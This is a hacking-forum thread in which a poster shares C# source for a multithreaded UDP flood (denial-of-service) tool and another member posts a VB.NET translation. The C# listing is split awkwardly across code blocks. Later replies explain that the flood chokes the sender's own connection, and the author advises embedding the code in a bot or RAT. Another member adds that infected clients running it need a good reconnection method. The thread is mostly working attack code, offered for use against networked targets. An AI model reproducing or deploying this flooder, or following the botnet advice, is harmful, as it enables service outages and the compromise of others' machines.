

Forum:[Hack Forums](#)

Thread: [\[C#\]\[VB.NET\] MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple](#)

t0fx - June 12, 2010, 12:43 pm

Haven't tried but programatically it should work.

Code // MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
// visit my website : <http://www.malwares-in.net>
// Give credits if you use this code, thanks

```
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;

namespace UDPflooder
{
    class Program
    {
        //Config
        private static string DESTINATION_IP_ADDRESS = "127.0.0.1";
        private static int DESTINATION_PORT = 80;
        private static int UDP_THREADS = 100;
        private static int UDP_SOCKETS = 5;
        private static int UDP_DELAY = 1000; // loop every 1000ms
        //End Config

        private static void SendUDP()
        {
            System.Threading.Thread newThread;
            newThread = new Thread(new ThreadStart(UDPsender));
            newThread.Start();
        }

        public static void UDPsender()
        {
            IPAddress destinationIPAddress = IPAddress.Parse(DESTINATION_IP_ADDRESS);
            IPEndPoint ep = new IPEndPoint(destinationIPAddress, DESTINATION_PORT);
            Random rnd = new Random();
            Byte[] b = new Byte[1470];
            rnd.NextBytes(b);
            for (int i = 0; i < UDP_SOCKETS; i++)
            {
                Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                s.SendTo(b, ep);
                Thread.Sleep(UDP_DELAY);
            }
        }
    }
}
```

```

}

static void Main(string[] args)
{
    while (true)
    {
        for (int i = 0; i < UDP_THREADS; i++)
        {
            SendUDP();
        }
    }
}
}
}

```

xhtmlphp™ - June 12, 2010, 12:49 pm

Nice T0fx, I'm studying the code at the moment, I want to learn how to multi-thread I've never done it before xD

Thanks for the source <3

Diebspiel - June 12, 2010, 1:20 pm

VB.NET:

Code ' MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
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```

Imports System.Net
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Imports System.Collections.Generic

```

Namespace UDPflooder

Class Program

'Config

Private Shared DESTINATION_IP_ADDRESS As String = "127.0.0.1"

Private Shared DESTINATION_PORT As Integer = 80

Private Shared UDP_THREADS As Integer = 100

Private Shared UDP_SOCKETS As Integer = 5

Private Shared UDP_DELAY As Integer = 1000

' loop every 1000ms

'End Config

Private Shared Sub SendUDP()

Dim newThread As System.Threading.Thread

Dim t As New Thread(AddressOf UDPsender)

t.Start()

End Sub

Public Shared Sub UDPsender()

```

Dim destinationIPAddress As IPAddress = IPAddress.Parse(DESTINATION_IP_ADDRESS)
Dim ep As New IPEndPoint(destinationIPAddress, DESTINATION_PORT)
Dim rnd As New Random()
Dim b As [Byte]() = New [Byte](1469) {}
rnd.NextBytes(b)
For i As Integer = 0 To 4
    Dim s As New Socket(AddressFamily.InterNetwork, SocketType.Dgram,
ProtocolType.Udp)
    s.SendTo(b, ep)
    Thread.Sleep(UDP_DELAY)
Next

End Sub

Private Shared Sub Main(args As String())
    While True
        For i As Integer = 0 To UDP_THREADS - 1
            SendUDP()
        Next
    End While
End Sub
End Class
End Namespace

```

t0fx - June 12, 2010, 1:23 pm

(Jun 12, 2010 01:20 PM)Diebspiel Wrote: [\[CITE\]](#) VB.NET
thanks for translation, I edited the thread topic name.

PurpleHaze - October 20, 2010, 6:46 pm

By having 100 threads going won't that cause the computer to crash or go extremely slow?

Black-Blood™ - October 20, 2010, 6:50 pm

Sure but this isn't supposed to be a mass connection chat. But who uses more than 100
connections running on his PC ^^

PurpleHaze - October 22, 2010, 7:25 pm

Is it normal that while running this that I get knocked off my internet connection? I checked my
network activity and it is still sending the packets, just I can't actually connect to anything else.

c6p0 - October 22, 2010, 7:34 pm

thanks tofx nice share usefull!

H4?0R - October 23, 2010, 10:00 am

Nice post as always t0fx, and would you please tell me the meaning of that integer "1470" in the
source, I mean why does it have to be 1470 and not another one?

Code Byte[] b = new Byte[1470];sorry for the n00b question ?

t0fx - October 23, 2010, 2:52 pm

(Oct 23, 2010 10:00 AM)H4?0R Wrote: [\[CITE\]](#) Nice post as always t0fx, and would you please tell
me the meaning of that integer "1470" in the source, I mean why does it have to be 1470 and not
another one?

Code Byte[] b = new Byte[1470];sorry for the n00b question ?

I read that it's the max size a windows packet can handle.

Modesty - October 23, 2010, 2:53 pm

(Oct 22, 2010 07:25 PM)PurpleHaze Wrote: [\[CITE\]](#) Is it normal that while running this that I get knocked off my internet connection? I checked my network activity and it is still sending the packets, just I can't actually connect to anything else.

You are bottlenecking your own network. It's like trying to dos something with 500 threads that are sending packets, yet its going to fuck over your connection first.

t0fx - October 23, 2010, 3:03 pm

(Oct 23, 2010 02:53 PM)P Y R O Wrote: [\[CITE\]](#) You are bottlenecking your own network. It's like trying to dos something with 500 threads that are sending packets, yet its going to fuck over your connection first.

right, you have to use this code into a bot or a rat, so you will not fuck your own connection and it will be more effective.

Modesty - October 23, 2010, 3:05 pm

(Oct 23, 2010 03:03 PM)t0fx Wrote: [\[CITE\]](#) right, you have to use this code into a bot or a rat, so you will not fuck your own connection and it will be more effective.

Indeed. Yet you will most likely start to lose your connections so make sure your clients that you infected your bots with have a good reconnection method!

zeltronMLG - June 5, 2016, 6:26 pm

ight tell me this, HOW DO I StART THE ATTACK AND STOP IT.

omghowbig - June 6, 2016, 9:51 am

Interesting post. getting good test of ot

Sakuto - June 6, 2016, 10:24 am

(Jun 5, 2016 06:26 PM)zeltronMLG Wrote: [\[CITE\]](#) ight tell me this, HOW DO I StART THE ATTACK AND STOP IT.

Thread is six years old, what do you expect?